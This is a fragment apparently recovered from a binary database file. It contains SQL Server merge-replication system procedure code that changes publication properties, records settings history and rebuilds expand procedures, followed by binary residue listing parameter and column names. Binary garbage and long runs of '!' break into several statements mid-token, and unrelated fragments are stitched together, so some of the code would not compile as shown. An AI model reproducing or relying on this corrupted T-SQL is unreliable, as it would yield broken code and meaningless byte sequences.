            if ((@keep_partition_changes_old = 0 and @value_bit = 1) and (@force_reinit_subscription = 0 and @snapshot_ready>0))
            begin
                raiserror(20608, 16, -1)
                goto UNDO
            end
            if @use_partition_groups > 0 and @backward_comp_level >= @REPOLEVersion_90
                and @value_bit = 1
            begin
                raiserror(21729, 16, -1)
                GOTO UNDO
            end

            declare @previousKeepBeforeValues int
            SELECT @previousKeepBeforeValues = keep_before_values FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the keep_partition_changes column */
            UPDATE dbo.sysmergepublications 
                SET keep_before_values = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0 GOTO UNDO

            -- Insert event into MSmerge_settingshistory
            if (@previousKeepBeforeValues <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousKeepBeforeValues,@value_bit,NULL)
            end

            if @keep_partition_changes_old = 0 and @value_bit = 1 and @snapshot_ready>0
            begin
                exec @retcode = sys.sp_MSreinitmergepublication 
                                        @publication = @publication,
                                        @upload_first = @automatic_reinitialization_policy
                if @@ERROR<>0 or @retcode<>0 goto UNDO
            end

            if @keep_partition_changes_old = 1 and @value_bit = 0
            begin
                declare @before_view_objid int
                declare @before_upd_view_objid int
                declare @before_image_objid int
                declare @nickloop int

                set @nickloop = 0

                select top 1 @nickloop = nickname, 
                       @before_view_objid = before_view_objid,
                       @before_upd_view_objid = before_upd_view_objid,
                       @before_image_objid = before_image_objid
                       from dbo.sysmergearticles where pubid = @pubid and nickname > @nickloop
                       order by nickname
                WHILE @nickloop is not null
                BEGIN
                    declare @obj_to_drop nvarchar(258)
                    -- Before dropping anything, ensure that another publication
                    -- is not using it.
                    if not exists (select * from dbo.sysmergearticles where
                                    before_upd_view_objid=@before_upd_view_objid
                                    and pubid <> @pubid) and @before_upd_view_objid is not null
                    begin
                        set @obj_to_drop = QUOTENAME(OBJECT_NAME(@before_upd_view_objid))
                        exec('drop view ' + @obj_to_drop)
                        if @@ERROR<>0 GOTO UNDO
                    end

                    if not exists (select * from dbo.sysmergearticles where
                                    before_view_objid=@before_view_objid
                                    and pubid <> @pubid) and @before_view_objid is not null
                    begin
                        set @obj_to_drop = QUOTENAME(OBJECT_NAME(@before_view_objid))
                        exec('drop view ' + @obj_to_drop)
                        if @@ERROR<>0 GOTO UNDO
                    end

                    if not exists (select * from dbo.sysmergearticles where
                                    before_image_objid=@before_image_objid
                                    and pubid <> @pubid) and @before_image_objid is not null
                    begin
                        set @obj_to_drop = QUOTENAME(OBJECT_NAME(@before_image_objid))
                        exec('drop table ' + @obj_to_drop)
                        if @@ERROR<>0 GOTO UNDO
                    end

                    select top 1 @nickloop = nickname, 
                           @before_view_objid = before_view_objid,
                           @before_upd_view_objid = before_upd_view_objid,
                           @before_image_objid = before_image_objid
                           from dbo.sysmergearticles where pubid = @pubid and nickname > @nickloop
                           order by nickname

                    if @@rowcount = 0
                        set @nickloop = NULL
                END

                -- Set entries to NULL
                UPDATE dbo.sysmergearticles SET before_upd_view_objid = NULL, 
                    before_view_objid = NULL,
                    before_image_objid = NULL
                    WHERE pubid = @pubid

                -- Recreate expand procs to reflect change
                declare @filter_id int
                declare @filter_id_str nvarchar(10)
                declare @procname nvarchar(300)
                declare @quoted_obj nvarchar(310)
                set @filter_id = 0
                select @filter_id = min(join_filterid) from dbo.sysmergesubsetfilters where
                    pubid = @pubid and join_filterid > @filter_id and (filter_type & 1) = 1
                while @filter_id is not null
                begin
                    set @filter_id_str = convert(nvarchar(10), @filter_id)
                    select @procname = expand_proc from dbo.sysmergesubsetfilters where
                        pubid = @pubid and join_filterid = @filter_id and (filter_type & 1) = 1
                    if object_id(@procname) is not NULL
                    begin
                        set @quoted_obj = QUOTENAME(@procname)
                        exec ('drop procedure ' + @quoted_obj)
                    end
                    else
                    begin
                        set @procname = 'MSmerge_expand_' + @filter_id_str
                        set @quoted_obj= quotename(@procname)
                        if object_id(@procname) is not NULL
                        begin
                            exec ('drop procedure ' + @quoted_obj)
                            if @@error<>0 goto FAILURE
                        end
                        update dbo.sysmergesubsetfilters set expand_proc = @procname 
                            where pubid = @pubid and join_filterid = @filter_id and (filter_type & 1) = 1
                    end                    

                    declare @command nvarchar(max)
                    set @dbname = db_name()
                    set @command = 'exec sys.sp_MSmakeexpandproc ' + QUOTENAME(@publication) + ', ' + @filter_id_str + ', ' + @quoted_obj
                    exec @retcode = sys.xp_execresultset @command, @dbname
                    if @retcode <> 0 goto UNDO

                    exec dbo.sp_MS_marksystemobject @quoted_obj
                    if @@ERROR <> 0 goto UNDO

                    exec ('grant execute on ' + @quoted_obj + ' to public')
                    select @filter_id = min(join_filterid)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
@wWv@' from dbo.sysmergesubsetfilters where
                        pubid = @pubid and join_filterid > @filter_id and (filter_type & 1) = 1
                     
                END                
            END
        END
    END


    /*
    ** Update merge publication property at distributor side if necessaray 
    */
    
    IF @property IN ('description','allow_push', 'allow_pull', 'allow_anonymous','retention', 'allow_subscription_copy', 'retention_period_unit')
    BEGIN

        IF @property IN ('allow_push', 'allow_pull', 'allow_anonymous','allow_subscription_copy')
            
        /* Translate values */
        BEGIN            
            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
                SELECT @value = '1'
            ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false'
                    SELECT @value = '0'
        END
        else if @property = 'retention_period_unit'
            select @value = convert(nvarchar, @retention_period_unit)
            
        /*
        ** Get distribution server information for remote RPC call.
        */
        EXECUTE @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
           @distribdb   = @distribdb OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO UNDO
            END

        SELECT @dbname =  DB_NAME()
        
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
            '.dbo.sp_MSchange_publication'
    
        EXECUTE @retcode = @distproc
            @publisher = @publishingservername,
            @publisher_db = @dbname,
            @publication = @publication,
            @property = @property,
            @value = @value

        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            GOTO UNDO
        END
    END

    if @property = 'use_partition_groups'
    BEGIN
        declare @old_use_partition_groups_value smallint, @dynamic_filters_function_list nvarchar(500)
        declare @new_use_partition_groups_value smallint
        declare @old_snapshot_ready tinyint
        declare @new_snapshot_ready tinyint

        select @old_use_partition_groups_value = use_partition_groups, @old_snapshot_ready = snapshot_ready
        from dbo.sysmergepublications 
        where pubid = @pubid
           
        if @old_use_partition_groups_value is null
        begin
            set @new_use_partition_groups_value = case when @value_bit=1 then 2 else 0 end
            /* Update the use_partition_groups column */
            UPDATE dbo.sysmergepublications 
                SET use_partition_groups = @new_use_partition_groups_value
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
                GOTO UNDO
            END
            update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid and snapshot_ready=1
        end
        else if (@old_use_partition_groups_value <= 0 and @value_bit = 1)
        begin
            set @new_use_partition_groups_value = 2        -- 2=snapshot agent needs to recreate article triggers accordingly and make other changes required.
            /* Update the use_partition_groups column */
            UPDATE dbo.sysmergepublications 
                SET use_partition_groups = @new_use_partition_groups_value
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
                GOTO UNDO
            END
            
            set @new_snapshot_ready = 2                      
            update dbo.sysmergepublications set snapshot_ready=@new_snapshot_ready where pubid=@pubid and snapshot_ready=1

           -- In the snapshot agent, MergeSnapshotProvider.CreateArticleTriggers will only generate merge triggers if the article
	    -- status is inactive/unsynced (value 1) or new_inactive (value 5). So when we transite setupbelongs to use_partition_groups, we need to update
	    -- the article status and make them new_inactive. 
	    -- yiche bug#407427
	    update dbo.sysmergearticles set status = case 
        	                                                            when pubid=@pubid and status=6 then 5
        	                                                            when pubid=@pubid and status=2 then 1
        	                                                            else status
        	                                                         end
	    
            
        end
        else if (@old_use_partition_groups_value >= 1 and @value_bit = 0)
        begin
            -- It is invalid to toggle use_partition_groups to false when logical records feature is used
            if (exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid
                                        and filter_type & 2 = 2)
                                    or exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid
                                        and (logical_record_level_conflict_detection = 1 or logical_record_level_conflict_resolution = 1)))                                        
            begin 
                raiserror(22578, 16, -1, @publication)
                goto UNDO
            end
        
            select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
            delete from dbo.MSmerge_generation_partition_mappings where publication_number = @publication_number
            delete from dbo.MSmerge_current_partition_mappings where publication_number = @publication_number
            delete from dbo.MSmerge_past_partition_mappings where publication_number = @publication_number
            -- don't delete here since the partitions are still valid. Can be used to keep track of dynamic snapshots
            -- delete from dbo.MSmerge_partition_groups where publication_number = @publication_number
            
            update dbo.sysmergesubscriptions set partition_id = NULL where pubid = @pubid
            
            set @new_use_partition_groups_value = -1
            UPDATE dbo.sysmergepublications 
                SET use_partition_groups = @new_use_partition_groups_value
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
                GOTO UNDO
            END
            set @new_snapshot_ready = 2
            update dbo.sysmergepublications set snapshot_ready=@new_snapshot_ready where pubid=@pubid and snapshot_ready=1
	    update dbo.sysmergearticles set status = case 
        	                                                            when pubid=@pubid and status=6 then 5
        	                                                            when pubid=@pubid and status=2 then 1
        	                                                            else status
        	                                                         end
            
            
        end
        
        -- else the value is the same as before. needn't do any further processing.

        -- Insert event into MSmerge_settingshistory
        if (@old_use_partition_groups_value <> @new_use_partition_groups_value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@old_use_partition_groups_value,@new_use_partition_groups_value,NULL)
        end
        if (@old_snapshot_ready <> @new_snapshot_ready)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,N'snapshot_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<@

{p`@'ready',@old_snapshot_ready,@new_snapshot_ready,NULL)
        end
    END

    if @property = 'web_synchronization_url'
    BEGIN

        declare @previousWebSyncUrl nvarchar(500)
        SELECT @previousWebSyncUrl = web_synchronization_url FROM dbo.sysmergepublications WHERE pubid = @pubid

        update dbo.sysmergepublications
            set web_synchronization_url = @value
            where pubid = @pubid
        if @@error <> 0 goto UNDO
        -- Insert event into MSmerge_settingshistory
        if (@previousWebSyncUrl <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousWebSyncUrl,@value,NULL)
        end

    END
    
    if (@property = 'use_partition_groups' or @property = 'allow_subscriber_initiated_snapshot')
        and @value_bit = 0
    begin
        exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
        if @@error <> 0 or @retcode <> 0
            goto UNDO
    end

    if @property = 'automatic_reinitialization_policy'
    begin
        if convert(int, @value) in (1,0)
        begin

            declare @previousAutoReinitPolicy bit
            SELECT @previousAutoReinitPolicy = automatic_reinitialization_policy FROM dbo.sysmergepublications WHERE pubid = @pubid

            update dbo.sysmergepublications
                set automatic_reinitialization_policy = convert(bit, @value)
                where pubid = @pubid
            if @@error <> 0 goto UNDO


            -- Insert event into MSmerge_settingshistory
            if (@previousAutoReinitPolicy <> convert(bit, @value))
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAutoReinitPolicy,@value,NULL)
            end

            select @schemaversion = schemaversion from dbo.sysmergeschemachange
            if (@schemaversion is NULL)
                set @schemaversion = 1
            else
                select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                
            set @schemaguid = newid()
            set @artid = null
            set @schematype = @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM
            select @schematext = 'exec dbo.sp_MSchange_mergepublication @pubid = ''' + convert(nchar(36), @pubid) + ''', @property = ''' + @property + ''', @value = ''' + @value + ''''
            exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR<>0 or @retcode<>0 goto UNDO    
        end
        else
        begin
            raiserror(22556, 16, -1, '@automatic_reinitialization_policy')
        end
    end
    
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRAN

    /*
    ** Return succeed.
    */
    
    RAISERROR (14077, 10, -1)
    RETURN (0)
FAILURE:
    
    if @got_merge_admin_applock=1
        exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    raiserror(21371, 10, -1, @publication)
    return (1)   

UNDO: 
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION changemergepublication
        COMMIT TRANSACTION
    end
7)t	7) @publication_number) or
                                           (pcpm.partition_id = @partition_id and pcpm.publication_number = 0) or
                                           (pcpm.partition_id = -1 and pcpm.publication_number = @publication_number) or
                                           (pcpm.partition_id = -1 and pcpm.publication_number = 0)
                                   )
                            ' + @generation_clause + N'
                            ' + @genlist_innerjoin_clause + N'
                              -- use the left outer join to find what partition changes need to enumerated as deletes  (yiche)
                               left outer join ' + @dbname + N'.dbo.MSmerge_current_partition_mappings cpm
                               on cpm.tablenick = pcpm.tablenick and
                                   cpm.rowguid = pcpm.rowguid and
                                   (
                                           (cpm.partition_id = @partition_id and cpm.publication_number = @publication_number) or
                                           (cpm.partition_id = @partition_id and cpm.publication_number = 0) or
                                           (cpm.partition_id = -1 and cpm.publication_number = @publication_number) or
                                           (cpm.partition_id = -1 and cpm.publication_number = 0)
                                   )
                        where cpm.rowguid is NULL '

            if (@allow_partition_realignment = 0)
            begin
                    select @command = @command + N' and pcpm.reason = 1'
            end

            select @command = @command + @orderby_clause
        end

        exec sys.sp_executesql @command, N'@tablenick int = 0, @rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', @pubid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', @publication_number smallint = 0, @partition_id int = 0, @mingen bigint = 0, @maxgen bigint = 0, @last_art_processing_order int = 0',             
            @tablenick=@tablenick, @rowguid=@rowguid, @pubid=@pubid, @publication_number=@publication_number, @partition_id=@partition_id, @mingen=@mingen, @maxgen=@maxgen, @last_art_processing_order = @last_art_processing_order            
        if @@error <> 0
            return 1
       
    end
    

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V`~)0
>+&6F.@table_catalog6F(@table_name6F,@table_schema6F,@table_server6T@artid6T@colid6'*@cutoff_date6'*@publication6'&@publisher6',@publisher_db6'&@tracer_id @6 @"@rowdump6RL&@publisher6RL(@xact_seqno6oob@artid6oob @format6oob@mode6oob.@publishertype69f,@force_remove69f@login69f$@password69f.@security_mode69f"@ver_old6/i"@enabled6/i&@publisher6v(database_id6v&error_type6v file_id6v4modification_time6v page_id6v(page_status6w"@article6w*@publication6w&@publisher6w,@publisher_db6,@group_number60@parameter_name60@procedure_name64@procedure_schema6.@defaults_only64@destination_dbms64@destination_type6:@destination_version6*@source_dbms6*@source_type60@source_version6*@publication6&@publisher6*@publisherdb6&@queuetype6 @tranid60@parameter_name62@parameter_value6(@profile_id6PT@max_concurrent_dynamic_snapshots6P*@publication6߮@objid6߮ @refcnt6**@publication6*&@publisher6*0@publisher_type6LC$@agent_id6*@publication6&@publisher60@publisher_typeb6b0@publication_id6b,@publisher_id6m$@property6m*@publication6m&@publisher6m,@publisher_db6m@value6
"alert_id6
4alert_instance_id6
*component_id6
<component_instance_id6
(create_time6
,current_value6
(pdw_node_id6
.previous_value6(database_id6Ndatabase_transaction_begin_lsn6Pdatabase_transaction_begin_time6Pdatabase_transaction_commit_lsn6Ldatabase_transaction_last_lsn6^database_transaction_last_rollback_lsn6`database_transaction_log_bytes_reserved6*@publication6(@subscriber6.@subscriber_db6D@subscriber_security_mode64@subscriber_login6:@subscriber_password6B@publisher_security_mode62@publisher_login6	8@publisher_password6
&@job_login6,@job_password6$@job_name6
0@frequency_type68@frequency_interval6J@frequency_relative_interval6J@frequency_recurrence_factor64@frequency_subday6F@frequency_subday_interval6D@active_start_time_of_day6@@active_end_time_of_day66@active_start_date62@active_end_date6:@enabled_for_syncmgr6*@publication6:@compatibility_level6"@pubidin6*@publication6@@starting_schemaversion6_+*@publication6_+"@article6&@tablenick6"@rowguid6@type6&@rowvector60@changedcolumns6:@columns_enumeration6@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6<

v
H
 
f2vR&



h
D

		
&|LZ<
tRL`		\		~^8d:j6~X.pJ"fHlF$vtJ6,`)
	9S6*@publication6O؉
.elapsed_avg_ms6O؉.elapsed_max_ms6O؉(ended_count6O؉	Nenqueue_failed_duplicate_count6O؉Denqueue_failed_full_count6O؉.enqueued_count6O؉8failed_giveup_count6O؉4failed_lock_count6O؉6failed_other_count6O؉(pdw_node_id6O؉,queue_max_len6O؉,started_countE6E*@currentdate6EH@merge_RunDurationThreshold6EN@merge_SyncExpireTimeThreshold6E*@publication6E0@publication_id6E,@publisher_db6E,@publisher_id6E&@retention6'"alert_id6'&alert_name6'*component_id6'$condition6'
0condition_value6'(description6'"severity6'state6'	status6'type6&@object_id6B8os_language_version6B0windows_release6BFwindows_service_pack_level6B(windows_sku62is_current_owner6"NodeName6status66status_description6*@column_name6(@table_name6*@table_owner62@table_qualifierv6v@artid6B(@schemaname6B&@tablename6qN@mark_expired_as_failed_attach6o*@cardinality6o0@distanceBuffer6o"@gGeoObj6o$@maxDepth6o4@tessellationMode6oAttr6oId6o LimitId6oWKB6x(dms_core_id6x(pdw_node_id6xstatus6޷"@article6޷@artid6޷2@identity_insert6޷@objid6޷*@publication6F0@parameter_name6F2@parameter_value6F(@profile_id6BR2@active_end_date6BR
@@active_end_time_of_day6BR
6@active_start_date6BRD@active_start_time_of_day6BR8@frequency_interval6BR	J@frequency_recurrence_factor6BRJ@frequency_relative_interval6BR4@frequency_subday6BRF@frequency_subday_interval6BR0@frequency_type6BR@id6BR@login6BR@name6BR$@password6BR$@proxy_id6BR$@step_uid6W6*@given_login6W6*@publication6W6&@publisher6`:@alt_snapshot_folder6`*@distributor6`6@distributor_login6`<@distributor_password6`F@distributor_security_mode6`*@ftp_address6`
&@ftp_login6`,@ftp_password6`	$@ftp_port6`.@offload_agent6`0@offload_server6`*@publication6`&@publisher6`,@publisher_db6`"@use_ftp6`
6@working_directory68~
Davailable_commit_limit_kb68~Dlarge_page_allocations_kb68~Flocked_page_allocations_kb68~	Lmemory_utilization_percentage68~2page_fault_count68~Dphysical_memory_in_use_kb68~Hprocess_physical_memory_low68~Fprocess_virtual_memory_low68~Ntotal_virtual_address_space_kb6k*@publication6k"@article6k(@filtername6k0@filter_type_bm65/@fkid65/@set6."@rowguid6.&@tablenick6..@metadata_type6.*@lineage_old6.(@generation6.*@lineage_new6.@pubid6.4@check_permission6.	*@compatlevel6.
:@articleisupdateable6.8@publication_number6.,@partition_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
W)8
766is_case_sensitive6G4configuration_id6J88CHARACTER_SET_NAME6F@name6~3(start_time6b@(session_id6.$4@cursor_identity62%0SORT_BOOKMARKS6c	text6dname60@security_mode6-+e,partition_id6B
\&object_id6u~(@publisher6&O(service_id6G,cache_buffer6V&@ins_proc6-0@fCreateCookie6M>@@use_default_datatypes6(@filegroup6	B@refresh_synctran_procs69{p0@datalogical166&:conversation_handle6C*@table_name60.property_name6Z	.idle_sessions61y4lcid6THtotal_queued_request_count6/)O,@fUsePattern6	*@subscriber6-<virtual_machine_type6!n|,@table_owner6xOr,@publication6ն (validation6
.@identity_col6VJSCHEMACOLLECTION_SCHEMANAME6V>signal_worker_address6Py(@publisher6^^	L@frequency_recurrence_factor6E4avg_load_balance6!=0COLLATION_NAME6!=0COLUMN_DEFAULT6?,lastwaittype6G*object_name6E	"@hexstr6&P@context_switches_count61:F@referenced_object_schema6I4counter_category6J@,is_cache_key6 gw,@distributor6uq0authority_name6q7Hshared_memory_committed_kb6
,@publication68~Xvirtual_address_space_available_kb6,@q76@p26W|E(event_name69VwFSS_UDT_ASSEMBLY_TYPE_NAME6S"is_node6$stopword6
Fdatabase_specification_id6#&schema_id6,2parent_minor_id6:@is_restriction_blocked6@type6Yname6].is_cursor_ref6k&column_id6w2is_xml_document6}*create_date6I*modify_date6name60assembly_class6type6+4is_auto_close_on6," system68*cursor_rows6ixtype6v!$rkeydbid6)uid66redostartforkguid6*"pwdhash6I&outseskey6)
F@dynamic_snapshot_jobname6(user_scans6,ca/8@min_distretention6
Y(@overwrite!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&rH(



b
8

z:xV


\
0
			`	,	Z.N&pH^t:
`0
h<pH L`F3)>
1-Ċ6)D@dynamic_snapshot_jobname6)0@frequency_type6)*@publication6,:@assembly_referenced6,2@assembly_schema6$4@primary_database6$0@primary_server6(*enlist_count6("is_bound6((is_enlisted6("is_local6(8is_user_transaction6(	>open_transaction_count6(
(pdw_node_id6(&session_id6(>transaction_descriptor6(.transaction_id6+4@capture_instance6=&@ownername6=$@rolename6'(K"@catalog6'(K"@datasrc6'(K$@location6'(K$@provider6'(K"@provstr6'(K @server6'(K(@srvproduct6|U.@cursor_return6|U,@cursor_scope6~V`@level6~V`&class_desc6~V`Bcovering_permission_name6~V`4parent_class_desc6~V`Pparent_covering_permission_name6~V`0permission_name6~V`typea6a4@capture_instance6a$@from_lsn6a*@net_changes6a6@row_filter_option6a @to_lsn6$b(@session_id6Ei @job_id6nw,creation_time6nw0execution_count6nw,last_clr_time6nw4last_elapsed_time6nw8last_execution_time6nw6last_logical_reads6nw8last_logical_writes6nw8last_physical_reads6nw$$last_rows6nw
2last_worker_time6nw*max_clr_time6nw 2max_elapsed_time6nw4max_logical_reads6nw6max_logical_writes6nw6max_physical_reads6nw&"max_rows6nw0max_worker_time6nw*min_clr_time6nw2min_elapsed_time6nw4min_logical_reads6nw6min_logical_writes6nw6min_physical_reads6nw%"min_rows6nw0min_worker_time6nw8plan_generation_num6nw(plan_handle6nw!&query_hash6nw"0query_plan_hash6nw&sql_handle6nw:statement_end_offset6nw>statement_start_offset6nw.total_clr_time6nw6total_elapsed_time6nw8total_logical_reads6nw:total_logical_writes6nw
:total_physical_reads6nw#&total_rows6nw	4total_worker_time6@artid6@mode6&@publisher6.@publishertype6Cq8@destination_folder6Cq*@publication6 +$@agent_id6 +(@agent_type6 +$@database6 +	$@log_time6 +
